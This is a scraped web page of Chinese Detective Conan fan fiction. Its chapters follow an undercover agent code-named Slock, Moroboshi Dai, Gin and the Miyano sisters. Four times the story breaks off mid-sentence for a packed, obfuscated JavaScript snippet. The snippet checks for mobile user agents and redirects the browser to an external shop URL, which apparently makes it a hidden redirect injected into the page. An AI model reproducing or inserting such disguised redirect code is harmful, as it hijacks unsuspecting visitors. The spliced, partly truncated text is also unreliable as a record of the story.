l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497849|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对于斯洛克这个名字,诸星大并不陌生。
在FBI的情报中,斯洛克三年前空降组织在美国的分部,本来是颇受排斥的,却在短短时间内干掉了组织在那边的二把手,上位成了分部负责人最信任的“军师”。
FBI曾数次与那边的分部交手,就因为这个军师的指挥,次次铩羽而归。
在来卧底加入组织之前,诸星大向来将“军师”斯洛克当做自己的宿敌,认为迟早有一天自己要将他从美国的土地上祓除。
结果……
当然,卧底是他自己愿意的,这样更能让他深入组织,也方便寻找父亲的下落。
但是……
但是……
为什么啊?
明先生是他的至交好友,是他在FBI甚至都难觅的知音,斯洛克是穷凶极恶的恶人,是几次挫败了FBI行动的恶魔。
他们两个,怎么能够是一个人呢?
更何况这两个人是一个人……他们是一个人的话……自己不是从一开始就暴露了吗?
要逃吗?
逃出这个组织,重新逃回美国、逃回FBI?就好像丧家之犬一样。
和以前很多次、很多很多次面对“军师”斯洛克的行动一样,他们FBI就注定了要铩羽而归。
诸星大不甘心,可若就这样留在组织,风险却又太大了,他无法保证斯洛克不揭穿他的身份,甚至可以这样说,斯洛克有什么理由为他隐瞒呢?
就在这样的焦躁难安中,诸星大的手机收到了消息。
不是在组织的号码,更不是FBI的号码,而是他的私人号码。
那是一条由“明先生”发来的定位,以及一句简单的:【来接我。】
冷汗密密地攀上了诸星大的额头,他清晰的知道,明先生并没有忘记他,并且已经清晰确认了他的身份。
几番深呼吸后,诸星大死死盯着那个地址,最终还是决定单刀赴会。
想要抓他很简单,明先生只需要告诉组织一声就可以,但明先生却将会面地点选在了这样荒僻的地方,这只能说明一件事,明先生想私下和他谈谈。
既然可以谈,那事情也许还有转圜的余地。
另一边,琴酒开着车,收到了来自蓝橙酒的情报传输。
全都是有关卡蒂萨克的情报。
他根本没打开,将手机息屏收起,眼不见心不烦。
回到家后,琴酒拿出钥匙开门,安全屋的门钥匙光秃秃的,上面没有任何装饰,看着令琴酒十分不顺眼。
总觉得……这上面应该有点什么?
某个黄色的、可爱到幼稚的东西。
“蠢货。”他突然骂了一句,也不知是在骂谁,回过神来快速打开房门,而后将钥匙随意地收入口袋中。
他才不需要那种花里胡哨的装饰品!
让皮卡丘去死吧,混蛋!
5. 六月飞雪
到达郊野,诸星大远远便看到了站在雪地上的诸伏高明。
这会儿雪已经停了,但周围一片皑皑的白,诸伏高明身姿挺拔地站着,明明穿了一身黑衣,却仿佛与周围的孤寂融为一体。
诸星大将车子停在他的身前,车窗打开,一股狂风夹杂着冰雪的碎渣卷入,糊了诸星大满脸。
他打了个寒颤,还是朝诸伏高明喊:“斯洛克,上车!”
诸伏高明上了车,他的衣服似乎已被冷气浸透了,明明关了车窗,诸星大却仍感受到从对方身上散发出的丝丝寒气,就好像他是将一块冰挪到了车上。
“这么冷,你跑来这里做什么?”诸星大不太明白,就算要私下找他谈话,不能找个更合适的地方吗?
诸伏高明将两只被冻僵的手掌对着用力搓了搓,然后捂在了被冻红的耳朵上。
真狠啊!
琴酒将他一个人丢在这里,他一时半会打不到车,霓虹的冬天可是能冻死人的。
“你手受伤了?”诸星大很快注意到了诸伏高明手上的绷带。
诸伏高明完全不想讲话,将车内的温度又调高了些,闭上眼睛感受被冻住的血液重新活过来。
诸星大仔细打量打量着他,半晌后错愕地说道:“你该不会是被人丢下了吧?”
“是啊。”这一次,诸伏高明终于开口了。
“谁啊?敢把你丢在这里。”诸星大震惊极了,反正他要知道对方是斯洛克,就绝对不敢将他丢下。
不怕报复吗?自己有几条命啊?
诸伏高明重新睁开眼睛,蓝色是冷静、包容的颜色,在美国时,明先生的眼神甚至让诸星大觉得温柔,可现在诸星大却只觉得寒气逼人。
他缓缓开口,冷冰冰吐出一个代号:“琴酒。”
霎时间,诸星大不说话了。
思来想去,似乎也只能是琴酒了。
事实上,有关斯洛克的八卦,诸星大在没见到明先生之前就已经听说过了。
据说三年前,斯洛克立了功拿到代号,正意气风发的时候,他的领路人却给了他狠狠的一刀。
斯洛克几乎是被琴酒给驱逐的,所以哪怕他在美国混得风生水起,甚至可以称得上是那边的二把手,给出的建议就连分部的一把手都十分重视,但他也还是强烈要求回到了霓虹。
他不是来这边发展的,他根本就是来复仇的。
在诸星大所听的八卦中,斯洛克就像是从地狱中爬出来的厉鬼,他会爬出来,就是为了和琴酒不死不休的。
所以……
这是复仇的时候失了利?
诸星大忍不住猜测,斯洛克被琴酒丢在这里,手上还缠了绷带,难道是刺杀琴酒失败了?不,如果真的刺杀失败,琴酒不该将他轻飘飘放在这里,而是该一枪要了他的命。
还是说……斯洛克也掌控了琴酒的一些秘密,让他不敢轻举妄动?
诸伏高明低头凝视着自己手上的绷带,越来越清晰地意识到琴酒并不是家猫,而是未被驯化的野猫。
攻击性十足,心狠手辣,性格硬邦邦得从来都不会听话。
不过越是这样,反倒越让诸伏高明觉得有挑战性,越想要看到琴酒乖巧温顺的模样。
“明先生,我可以这样称呼你吗?”诸星大沉默许久,终于鼓起勇气挑破这一层虚伪的纱。
诸伏高明看了他一眼,颔首笑道:“当然可以,很多人都这样称呼我。”他伸手入怀,在诸星大紧绷的神经下摸出一张名片递给了他。
诸星大一边开车一边接过名片,他低头看了眼,上面用娟秀的字迹写着他的名字——川上明。
就在刚刚,诸伏高明温和开口的时候,让诸星大仿佛又看到了在美国时的明先生。
他们第一次见面,明先生也是这样掏出一张名片递到他的面前,而后笑眯眯地自我介绍:“认识一下,我叫明·布尼尔。”
明·布尼尔、川上明。
诸星大眼神蔑然地用两根手指将名片弯折,他可不认为这就是明先生真正的名字。
诸星大的神经仍紧绷着,等待着诸伏高明的进一步发难。
质问他的身份?质问他的目的?威胁利用他?
诸星大以最大的恶意揣测着诸伏高明的心理,他微微测了侧头,就看到诸伏高明正歪头看着窗外,目光平静淡泊。
任谁看到这一幕,都会觉得斯洛克心思纯净,为人坦荡,但这恰恰是斯洛克最危险的地方。
诸星大深知这一点,一个毫无城府的人,是不可能在短短时间内掌控美国分部、成为他们FBI梦魇的。
可车子都已经快驶入市区了,诸伏高明却仍没有说话。
诸星大意识到,他不能继续等下去了,索性开门见山:“你知道我的身份。”
“啊?”正在走神的诸伏高明错愕看他。
诸星大丝毫没有放松戒备,狠声说道:“说说你的条件吧。”
“条件啊……”诸伏高明深吸一口气,却仍在走神。
如果他想要再一次睡在琴酒的安全屋,又需要答应琴酒怎样的条件?说实话,不管怎么想,琴酒都相当难驯化,而且太容易把自己搭进去了。
事实上,他知道琴酒的安全屋,如果晚上去夜袭……嗯……该不会被当做入侵者干掉吧?
诸伏高明缓缓叹了口气,完全行不通啊。
听着诸伏高明吸气又叹气的,本来意志坚定的诸星大心都有些乱了,到底什么条件倒是说出来啊,磨磨蹭蹭故意消磨他意志吗?
“明先生。”诸星大语气加重。
诸伏高明这才回神,摆摆手道:“抱歉,我走神了。”
“呵。”诸星大发出一声冷笑,走神?他才不会信。
诸伏高明眼神复杂地看着诸星大,刚刚那冷笑的模样,真的和琴酒很像。
说实话,在美国的时候,他没觉得诸星大这么像琴酒啊,那时候诸星大讲话还蛮有意思的,结果加入组织后怎么就立了个高冷人设?
“你是在说你的身份对吧?”
诸星大试图解释:“其实我从FBI辞职了,我……”话说到一半,诸星大自己便停住了。
诸伏高明在笑,诸星大却完全笑不出来。
“好吧,太拙劣了。”诸星大长叹一声,耸肩认输,像是那种谎言别说是对上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497850|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斯洛克,有个脑子的人都不会相信。
所以……
诸星大定定看着诸伏高明,等待着他最后的审判,他能不能继续卧底下去,甚至能不能活着从组织离开,一切就只在斯洛克一念之间了。
“关于你是诸星大还是赤井秀一……”诸伏高明拉长音调,最后随意一摆手,笑道:“Whatever。”
无所谓。
诸伏高明身体朝驾驶位靠了靠,抬起手臂搂住了诸星大的脖子,笑着说:“我根本不在乎。我所在乎的,是你究竟能不能给我带来利益,能带来多大的利益,记住,是给我。”他翘起大拇指指了指自己。
诸星大眼睛微亮,立刻明白了诸伏高明的意思。
他嘴角扬起大大的弧度,意气风发道:“放心吧,明先生,我肯定不会让你失望。”
诸星大已经确定了,斯洛克是那种将自己的利益放在组织之前的人,这反倒是他的机会,只要他能表现得足够好用,斯洛克甚至会成为他一步步往上爬的助力。
毕竟,这个世界上还有什么比一个半暴露的卧底更容易拿捏的呢?
为了不辜负明先生,诸星大已经确定了表现自己的第一步计划,既然斯洛克和琴酒是死敌,他当然要好好去帮斯洛克一把。
次日,清晨。
琴酒照例来到训练场,他是个从不放纵自己的劳模,有任务做任务几天几夜都可以不眠不休,没任务的时候便会加紧训练,在组织里卷生卷死。
但是今日,周围人看他的眼神似乎都有些不太对?
琴酒皱眉,那些目光的异样甚至就连伏特加都注意到了。
“大哥,是不是有情况?”伏特加小声在琴酒耳边说:“不然我先进去……”
琴酒微不可察地朝他摇了摇头,这里是组织的基地,难不成还有人敢在这里设伏击?朗姆都没那么大胆。
琴酒无视周围的异样,大步走进了训练场,然后在射/击区域见到了一个……身穿黑大衣、有着一头银色长发以及绿色眼睛的……翻版自己???
琴酒那双始终平静无波的绿眸缓缓睁大了,瞳孔却越缩越小。
对方似乎也注意到了琴酒,可他丝毫没有避开,反而笑着抬手朝琴酒打招呼:“嗨,琴酒!”
意气风发,洋洋得意。
诸星大甚至还故意晃了晃脑袋,任由一头银色的长发飘舞,问琴酒:“我的头/发/漂/亮吗?昨天新染的。”
“你特么……”伏特加忍不住想上去揍人。
“伏特加!”琴酒喝止了伏特加,而后轻蔑地扫了诸星大一眼,便离开射击区域到搏击区找人对练去了。
阿斯蒂的声音根本不避着琴酒,甚至故意提高音量对诸星大说:“你故意将头发染白,怎么?斯洛克教你这样羞辱琴酒的?”
诸星大蔑然一笑,反问:“组织有规定不能染头吗?琴酒能染,我就不行了?”
阿斯蒂顿时笑得更开心了,却坏心眼得没说,琴酒那一头银发可不是染出来的。
一旁,正和人对练的琴酒下意识加重了力道。
斯洛克!
果然是斯洛克在搞鬼!
6. 劝分好难
在美国时,除了帮美国分部的人出谋划策,诸伏高明更多时间在保护宫野志保。
她是个很可爱很聪明的女孩子,仔细了解之后,诸伏高明更觉得她是个天才。
才10岁便一路跳级读了大学,才大一便被学校的知名导师看重,诸伏高明回国的时候,据说那名导师正在劝志保加入自己的课题组,并且保证她可以硕博连读。
嗯……
才10岁,短短十年,已经达到了普通人这一辈子都很难达成的目标。
总而言之,诸伏高明和宫野志保关系还蛮好的,他回国的时候也和宫野志保说了句,结果就受到了对方无比郑重地拜托。
“请告诉我姐姐我过得很好。”
前面还算正常,可后面……
“告诉我姐姐,让她和那个丑陋的、恶心的河童分手!”
啊……
但宫野明美已经是个成年人了,交男朋友也是很正常的吧?
诸伏高明这样想着就这样说了,结果遭到了宫野志保的一通炮/击。
“你根本不懂,那家伙碰瓷了姐姐!”
“他还加入了组织,这不是很可恶吗?组织里能有什么好人?”
“当然,我不是说你不好的意思,但那种心狠手辣、狼心狗肺之辈,根本配不上我的姐姐,我姐姐肯定是被他迷惑了!”
诸伏高明其实是有些不解的,一个碰瓷、品行不端还长相丑陋的男人,到底是怎么能迷惑宫野明美的?
不过诸伏高明并没有拒绝她,也没有将话说得太满,只说会尽力去劝。
今天一大早,诸伏高明还记着宫野志保的请求,便抽了时间来见宫野明美。
“欢迎光临!请问需要些什么?”宫野明美在霓虹开了一家花店,因为她妹妹所表现出的超高的研究天赋,她的日子过得也还算惬意。
“你好,我是川上明,不是来买花的。”诸伏高明礼貌递了自己的名片过去。
宫野明美面露疑惑。
“我的代号是斯洛克。”
宫野明美惊得手上拿着的鼠尾草都掉了。
她匆忙捡了起来,不敢去看诸伏高明的眼睛,颇有些慌乱地问:“请、请问有什么事吗?”
诸伏高明笑容温和,语气也更放轻了些:“明美小姐,请不要紧张,是你妹妹托我来看望你的。”
听到自己的妹妹,宫野明美立刻抬头,但很快又害怕地低了下去。
“我之前一直在美国活动,算是志保在那边的监护人,你妹妹是个很可爱的孩子,而且很聪明,我们两个常一起吃甜点、喝咖啡。回国之前,我还送了她一只蓝色的史迪奇玩偶,她很喜欢,对了,她托我给你带了包。”过往美好的事情如溪水般缓缓流淌,不自觉消解了宫野明美心底的紧张情绪。
宫野明美再次抬起头,便见一只深棕色的小牛皮被递到了自己面前。
“谢谢。”宫野明美还有些拘谨。
将包送给宫野明美后,诸伏高明缓缓收回手,身子也朝后靠了靠,保持着距离也让宫野明美能更自在些。
“她啊,知道我回国颠来倒去地和我叮嘱了很多事。想让给我告诉你她过得很好,还让我和你说好好照顾自己,对了,她说想要什么可以找组织报销,她现在很厉害,组织肯定会给你钱……”
在诸伏高明的碎碎念中,宫野明美最后一丝拘谨也消失不见。
这的确是志保会说的话。
诸伏高明突然莞尔,带着几分戏谑朝宫野明美说:“当然,志保对你交男朋友的事情很不满。”他学着宫野志保的模样单手叉腰,另一只手指点着空气数落:“让那个河童离我姐姐远点!
宫野明美“噗嗤”一声笑了出来,然后连忙给高明鞠躬道歉:“抱歉,我妹妹给你添麻烦了。”
“不,她很可爱,组织的人都喜欢冷着一张脸,志保反倒给我的生活增添了几分亮色。”诸伏高明苦着脸,颇有几分无奈地说道:“真怀念在美国的日子,可以和志保无忧无虑地逛街、吃甜点,回国后可麻烦了,那么多的任务,这是要累死我吗?”
打工人怨念深重,尤其是对组织的抱怨,更是拉近了与宫野明美之间的距离,让宫野明美对诸伏高明多了几分好感。
诸伏高明双手合十,温柔地发出请求:“我是来满足她的愿望的,明美小姐,拜托了,请和你的男朋友分手吧。”
“啊……”宫野明美张大了嘴巴,似乎猝不及防。
“拜托拜托,志保可是很认真请求我的。”诸伏高明将合十的双手上下晃了晃,蓝色的眼眸乖乖地注视着宫野明美,好像一只乖巧的大型犬。
宫野明美顿时有些为难,解释:“志保她对我男朋友有些误解……”
“可据她所说,你男朋友碰瓷你,人品不端。”
“不是的,是我开车的时候不小心撞了他,不是他碰瓷我。”宫野明美连连摆手,再说人品不端,她所接触的人里面,有哪个能算得上是好人吗?
就算是面前看着和善的斯洛克先生,作为组织的代号成员,身上的血债也不知有多少。
“麻烦您辛苦跑一趟了,我会和志保说的。”宫野明美认真道谢。
诸伏高明看了看四周,问:“我能见见你男朋友吗?听说他加入了组织,或者你能把他的名字告诉我一下吗?”他刚回国,还没来得及查,志保那边似乎也不是很清楚。
宫野明美连忙说道:“请不要为难他!”
似乎是担心诸伏高明会为难,之后无论他怎么解释,都没能得到那个男人的名字,诸伏高明的确也尽力去劝了,可宫野明美明显是一副沉浸在爱情中的模样,根本无法劝得动。
果然,成年人的爱情,自己便可以当家做主,又怎么可能会听一个外人的劝?
劝也劝了,礼物也送了,诸伏高明很快驱车前往基地,才下车便看到阿斯蒂站在门口朝他竖起大拇指。
“斯洛克,还是得佩服你啊!”阿斯蒂满脸笑容。
诸伏高明感到疑惑,笑着问:“佩服我什么?”
“还装,有一手!”阿斯蒂非但没有解答诸伏高明的疑惑,反而又夸了一句。
诸伏高明只能满腹疑惑地朝里面走,然后……他天都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497851|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塌了!
等、等等!
诸伏高明震惊地看着“两个琴酒”在对打,脑袋嗡嗡的。
“诸星大!”诸伏高明一声喝斥。
诸星大立刻停了手。
可琴酒没停手,拳头狠狠打在了诸星大的脸上。
诸星大吃痛,才想要还手,却似乎又想到了一个更恶心琴酒的方法,故意小跑到诸伏高明身边,竟然撒娇一般拉着他的手朝他告状:“斯洛克,你瞧他打我!”
琴酒的脸色更黑了。
诸伏高明则被烫到一般抽回手,满脸都是懊悔。
他悔,悔不当初啊!
他当初要知道赤井秀一这么能作妖,他就不该和他交朋友!
好啊,现在改名诸星大了,改个名就可以毫无顾忌地坑朋友了?
……他怎么就没举报诸星大是卧底呢?
诸伏高明试图瞪他一眼,眼睛却被那一头银发给辣到了。
他就知道,FBI没一个好东西!
“斯洛克,要不要亲自来练一下?”琴酒的语气就像是火山爆发前压抑的平静。
诸伏高明:……
他一把扯住诸星大的头发,硬生生拉扯着他朝训练场外面走去。
“啊,疼!斯洛克,疼!”诸星大根本不敢太挣扎,只能跟着诸伏高明走,毕竟他头发的颜色虽然是假的,但头发可是真的!
然而这还不算完,诸伏高明都已经扯着诸星大的头发将他拎出去了,远远地,却还是听到了阿斯蒂的大声嘲弄。
“哎呦,果然还是银发容易扯啊,刚刚斯洛克扯着诸星大头发往外面拖,琴酒,你有没有什么既视感啊?”
诸伏高明扯着诸星大头发的动作一僵,整个人都凌乱了,阿斯蒂你不要添乱啊!
但很快的,诸伏高明又死死盯着诸星大,一切都是诸星大的错,于是他扯着对方头发的手更用力了。
等彻底将诸星大扯出去,诸伏高明松开手的时候,一大绺头发随着他的动作飘然落下。
诸星大看着心疼极了,同时也更加无法理解。
“你在做什么?你那么用力!”诸星大压低声音,却还是表现出了自己的不满。
诸伏高明恶狠狠瞪了他一眼,怒道:“染回来!”
“什么?我刚漂白……”
“给我染回来。”诸伏高明咬牙切齿,在对方开口前发出冰冷地威胁:“如果明天我看到你继续顶着这头银发来基地,我会一根根把你的头发拔光。”
听着对方发狠的声音,诸星大的身子朝后退了半步,总感觉斯洛克这不是在开玩笑。
“斯洛克,这不好吗?我在帮你打击琴酒。”
回应他的,是诸伏高明堪称凶戾的眼神。
这种眼神在诸伏高明身上是很少见的,组织传闻,哪怕是他要杀人的时候,也多是笑眯眯的。
可现在诸伏高明真的想骂死他!
谁准诸星大染头发的?天杀的,琴酒肯定以为是他指使的。
诸星大染个头就没事了,知道他要哄琴酒多久吗?一天天地净给他添乱!
7. 朗姆
中午,大部分人都从训练场离开去吃饭了,就只剩琴酒一个人对着沙袋训练。
诸伏高明买了便当凑近他,看看四处无人问:“伏特加呢?去帮你买便当了?”
琴酒没说话,懒得搭理他。
诸伏高明立刻笑着将自己的便当递了过去,说:“尝尝看我这个,豪华版本的,荤素都有,营养均衡,正适合我们这种人练肌肉。”
琴酒却看都没看诸伏高明一眼,拳头重重击打在沙袋上,好像已将沙袋当做了高明狠狠捶打。
“我出国之前,准备便当的事情你不早交给我了吗?”诸伏高明温声细语地哄着:“伏特加能懂什么营养搭配?你回头看看,我准备的便当真的很丰富,是去饭店里找大厨专门做了打包过来的。”
诸伏高明掀开便当的一角,企图用美食诱/惑。
可惜,琴酒始终无动于衷。
“琴酒,我又不会给你下毒。”诸伏高明叹了口气,认真道歉:“对不起,是我没看好手下,诸星大染头发这事儿真不是我吩咐的,我发誓!”
他冤啊!
虽然平日里他也会有些不着调的鬼主意,但这次真和他无关。
他为什么要让诸星大染头?恶心琴酒吗?拜托,先被恶心到的可是他自己。
诸伏高明绕到了沙袋那一边,以便和琴酒正面接触,仍语气温和地哄着:“别人不知道我们的关系,你还不知道吗?我回国可不是为了针对你。”
琴酒停下了击打沙袋,眼神冷厉地盯着他。
诸伏高明见机不可失,一只手拿着便当,另一只手在胸前朝琴酒用手指比了个“心”,语气轻快:“这是爱!”
琴酒转身就走,似乎是被他恶心到了。
诸伏高明连忙去抓琴酒的肩膀,“琴酒,你等等我,便当……”
“滚开!”琴酒一把掀开诸伏高明的手。
诸伏高明一个没防备,便当也掉在了地上。
琴酒注意到这一点,没有再发火,而是紧紧抿住了嘴唇。
诸伏高明举起双手安抚他:“没关系,我的错,是我没拿稳,你不生气了就行。”
琴酒才想说话,却听到门口传来一道讨厌的声音。
不仅讨厌,声音还大,令人听了想打他。
“好大的脾气啊,琴酒,你这是饭都不让斯洛克好好吃吗?”阿斯蒂进门比较晚,没注意到诸伏高明追着琴酒送便当那一幕,进来看到两人在对峙,还以为是琴酒气不过打翻了斯洛克的便当。
虽然两人都是知道内情的,但听着阿斯蒂的话,还是哪哪都不舒服。
琴酒到嘴边的话又重新吞咽了回去,警告地狠狠瞪了诸伏高明一眼,离开了训练场。
诸伏高明则叹了口气,他看了眼散落在地上的豪华便当,又看了眼朝自己走来的阿斯蒂,有种想弄死对方的冲动。
他和琴酒,刚刚明明就要冰释前嫌了,怎么哪哪都有这个傻/逼?
“琴酒真是太过分了。”阿斯蒂走到诸伏高明身边,拍了拍他的肩膀,语重心长:“你听说常年跟着琴酒的那几个人了吗?除了伏特加就两个废物狙/击/手,这说明你从一开始就选错了。琴酒那种人,眼里见不得别人比他好,之前将你赶去美国就是证据。”
诸伏高明将阿斯蒂的手从自己肩膀上拿了下来,礼貌又疏离:“这点不用你和我讲。”
“我知道你恨他,可是这样的人,反而不那么容易对付。”阿斯蒂又安慰诸伏高明。
诸伏高明没说话,他倒想知道阿斯蒂又想对琴酒使什么坏。
“朗姆大人要见你。”
诸伏高明心中一动,面露惊喜:“真的?”
阿斯蒂笑着对他说:“当然。当初你出国之前,朗姆大人就很看重你的能力,认为你的头脑非常适合情报组,可偏偏琴酒不放人,最后更是将你给赶走,这才让我们的缘分差了那么多年。现在朗姆大人想见你,如果不出意外的话,大家以后就是同事了。”
诸伏高明笑弯了眼睛,压低声音对他说:“可不敢这样说,大家都在组织,我早就是你的同事了。”
“哈哈!”阿斯蒂爽朗一笑,示意诸伏高明跟自己去见朗姆。
组织的二把手啊……
朗姆召见,诸伏高明自然不会拒绝,他来组织卧底多年,二把手可以算得上是他能接触到的最大号人物了。
见面的地点不是在酒店、小巷之类的场所,诸伏高明一路跟着阿斯蒂走,竟然到了一个极具西方特色的大教堂内。
教堂看着很新,应该是近些年新建的,倒是颇为气派。
诸伏高明进去的时候,还可以听到唱圣歌的声音,他的脚步不由放缓,看着台上身穿教服的主教,又看看场中唯一的参拜者,一时分不清他们究竟谁是朗姆。
圣歌结束,主教退场,就只剩下参拜者没有离开。
诸伏高明朝那人走去,对方有着一头和琴酒相仿的银色长发,虔诚地将双手手指交叉抱握,静静注视着大教堂正前方的耶稣受难像。
她是个女人。
诸伏高明表情微愕,组织赫赫有名、神龙见首不见尾的二把手竟然会是个女人。
阿斯蒂见到女人脚步微顿,很快便上前恭敬说道:“朗姆大人,斯洛克到了。”
女人淡淡朝诸伏高明看了眼,她有着一双漂亮的异色瞳,眼神中没有任何情感,宛如一台机器。
“朗姆大人。”诸伏高明也很尊敬,心中却更加腹诽,这和他想象中的朗姆截然不同。
组织的二把手,在他看来能够坐上这个位置,至少也是那种野心勃勃、满腹算计的人,可女人的眼神令他看不到算计,反而感受到一股麻木。
这个人,真的是朗姆吗?
“我听说你和琴酒闹了一些矛盾?”女人淡淡开口,声音听不出喜怒。
诸伏高明笑道:“只是小事罢了,没想到也能入朗姆大人的眼。”
“在行动组过得不舒服的话,可以来我们情报组试试。”
“多谢大人厚爱,我此次回国,是有很重要的事情要做。”诸伏高明眼神流露出锐利的精光,严肃地说:“大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497852|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事未成,我目前恐怕还离不开行动组。”
“你要办的事很难。”
“这个世界上,没一件事是容易的。”诸伏高明自信道:“我有信心。”
女人点了点头,不再多说,继续虔诚的参拜。
诸伏高明又站在原地观察了一会儿,确认“朗姆”没什么要对自己说的了,于是低声和阿斯蒂说了句什么,不再打扰女人便离开了。
“他走了。”送走诸伏高明,阿斯蒂回来皱眉问女人:“库拉索,怎么是你在这里?朗姆大人呢?”
“这就是朗姆大人的意思。”女人并非朗姆,而是他的心腹库拉索。她平静地注视着阿斯蒂,对他的不爽置若罔闻,语气仍旧平静:“朗姆大人说,斯洛克暂时还不能全信,他的头脑是他的武器,就算是我们也必须防备。”
“什么?”阿斯蒂无法理解,大声为诸伏高明辩驳:“他已经和琴酒闹翻了,这有目共睹,有谁演戏是要用三年时间来演的吗?被发配三年,就算是我也会气疯的!”
库拉索没有再回应,只继续虔诚地望着耶稣像,仿佛在从信仰中汲取力量。
阿斯蒂狠狠咬牙,但也知道库拉索只是个听命行事的机器,冷哼一声负气离开了。
傍晚,诸伏高明按响了琴酒安全屋的门铃。
琴酒这会儿的确已回来了,不过他并没有第一时间开门。
“叮咚”“叮咚”“叮咚”
门铃响个不停。
就算是琴酒,也会被连续不断的按铃声烦到,他不爽地撇了撇嘴,下楼后一把拉开门。
“你到底有完没完?”琴酒不悦地怒视他。
诸伏高明将双手背在身后,也不在意琴酒的生气,见他出来便立刻将身后的一大捧玫瑰花拿了出来,大声喊:“Surprise!”
琴酒沉默地看着这一幕,越来越觉得诸伏高明莫名其妙。
“你神经病吧!”他大声指责。
诸伏高明并没有被骂的自觉,反而兴致盎然地自顾自说着:“我来的时候路过一家花店,想着玫瑰很配你,就找店员包了一捧,是不是超大的一捧?”
他炫耀着,就像是个得了糖果的孩子。
琴酒却好像无法忍受他脸上的笑容,根本没让诸伏高明进门,也懒得继续和他说,重重砸上了房门。
“诶?琴酒!”诸伏高明连忙又敲门,可琴酒却根本不开了。
无奈中,诸伏高明只能将花摆在了门口,对着屋子里面的琴酒喊:“我将花放你门口了,真的很漂亮,你记得拿进去!”
这当然同样不会得到回应。
诸伏高明耸耸肩,无奈地驱车离开了。
过了好一会儿,房门慢悠悠地打开一道缝隙,接着彻底打开。
看着摆放在自己门口正中央的玫瑰花束,琴酒顿时被气笑了,该死的斯洛克,这是在给他上坟吗?
虽然这里是郊区,但琴酒还是担心会被偶尔过往的行人注意到,于是咬咬牙将花拿了进去,然后用手暴力地将之团成一团,直接丢进了垃圾桶里。
8. 找到碰瓷男了
清晨,训练场。
远远地,诸伏高明双臂环胸,背靠墙壁静静地看着琴酒打拳。
琴酒拳风犀利,眼神凌厉,不输诸伏高明所见过的任何人,这样的一位强者,着实会掀起人内心中狂热的征/服/欲。
可惜,他仍未能成功入琴酒的眼。
手指扒拉了一下被他挂在手机上的皮卡丘吊坠,诸伏高明百无聊赖地想,若是公安将组织给一窝端了,被他关进局子里,吃着猪扒饭的琴酒会不会乖巧一些?
脑海中不由浮现出琴酒戴着手铐眼含热泪吃猪扒饭的模样……嗯……不行,有点辣眼睛。
诸伏高明晃晃脑袋,实在还是没办法想象琴酒被抓住的模样。
这个人是自由的,自由的风、野性的狼、肆意的鹤,好像没有任何地方可以关住他。
“要用爱。”诸伏高明低低呢喃,想要关住一个无法关住的对象,就只能用爱来束缚。
“斯洛克!”远远地,诸星大气势汹汹朝诸伏高明走来,满脸愤怒与荒谬。
诸伏高明的身子从墙壁处离开,沉默地看着他朝自己靠近。
诸星大咬牙,注意到有人在看他们,于是压低了音量问:“你去找我女朋友了?”
“嗯?”
“你想对她做什么?”诸星大压低声音,也在朝诸伏高明更加逼近,几乎是贴在对方的耳边和他说:“她什么都不知道,我当初加入组织,是故意挑了她来碰瓷。”
碰瓷?诸伏高明捕捉到关键词,表情讶异地看着他,不会吧?这个世界上竟然会有如此巧合的事情?
“宫野明美?”诸伏高明试探着问。
“没错。”
诸伏高明的眼神中多了几分兴味儿,原来真有这么巧合的事情啊。
他还没来得及去调查,诸星大就自己找上门来了。
诸伏高明仔细打量着诸星大的身高与容貌,长相丑陋的河童?看起来,宫野志保真的对他有很大的偏见。不过如果是诸星大,那他就能理解为什么宫野志保会说她姐姐是被迷惑了,以这个人出色的外貌以及高情商来看,想要刻意勾/引一个女孩简直不要太容易。
更何况诸星大刚刚也亲口承认了,他当初的确是碰瓷。
“品行不端”这一点,如今看来已经确凿,宫野志保倒并没有完全冤枉他。
“出去聊。”诸伏高明示意诸星大跟上自己。
诸星大毫不犹豫,跟在诸伏高明的身后走了出去。
远处,看似心无旁骛打拳的琴酒突然停下,他的视线朝两人的背影扫了眼,摘掉拳套到场边去休息。
斯洛克带诸星大离开了。
琴酒的脸色相当不好看,自己明明就在这里,他却带着那个替身离开,干嘛?故意给他难堪吗?
“这是挑衅。”琴酒压低声音。
凑近过来想递给他水的伏特加僵住了,挑衅?谁挑衅?他没有啊!
伏特加慌忙将水放下就躲远了,他真的很冤枉,他不是刻意在大哥休息的时候靠近的,他真的只是想给大哥送一瓶水。
天啊,天上真的要下红雪了!
